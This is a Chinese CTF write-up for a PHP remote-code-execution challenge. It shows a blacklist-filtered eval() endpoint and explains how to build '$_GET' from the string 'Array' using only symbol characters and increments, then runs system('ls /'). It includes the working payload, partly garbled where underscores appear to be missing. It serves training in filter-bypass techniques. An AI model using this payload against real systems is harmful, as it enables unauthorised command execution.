RCE挑战2
源码
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这题过滤了一大串玩意
寻找没有被过滤的
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
自增过滤原理(网上找的)
“! $ ' ( ) + , . / ; = [ ] ”是可以传的字符
就是通过构造一个“Array”字符串,再取那个“A”,通过自增构造出"G""E""T"三个字母,拼接"$""""[]"等字符从而高出个$GET[]字符串来传参。最后payload:
$=[].;$__=$['!'==','];$++;$++;$++;$=++$;++$;$=++$.$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;$=$.++$;$=''.$_;$$_;
但是有个问题就是用max hackbar会被拦截,HackBar不会.
$_ = []._; // $_ 是一个数组,[] 是 PHP 中的数组初始化语法,._ 表示拼接
var_dump($_); // 输出变量内容,结果为 "Array_"
$__ = $_['!' == ',']; // 判断条件为 false,因此 $__ 会等于 "Array_" 数组的第一个元素,也就是 "A"
$__++;$__++;$__++; // $__ 变量的值依次为 B, C, D
$___ = ++$__; // $__ 自增为 E,赋值给 $___
++$__; // $__ 变为 F
$___ = ++$__ . $___; // $__ 自增为 G,$___ 变为 "GE"
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; // $__ 依次增至 S
$___ = $___ . ++$__; // $__ 自增为 T,$___ 变为 "GET"
$_ = '_' . $___; // $_ 被赋值为 "_GET"
$$_[_]($$_[__]); // 通过变量变量执行命令,最终构造出 $_GET[_]($_GET[__]),并执行相应的命令
所以有payload
post:ctf_show=$=[].;$=$_['!'==','];$++;$++;$++;$=++$;++$;$=++$.$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;$=$.++$;$=''.$_;$$_;
get:?_=system&__=ls /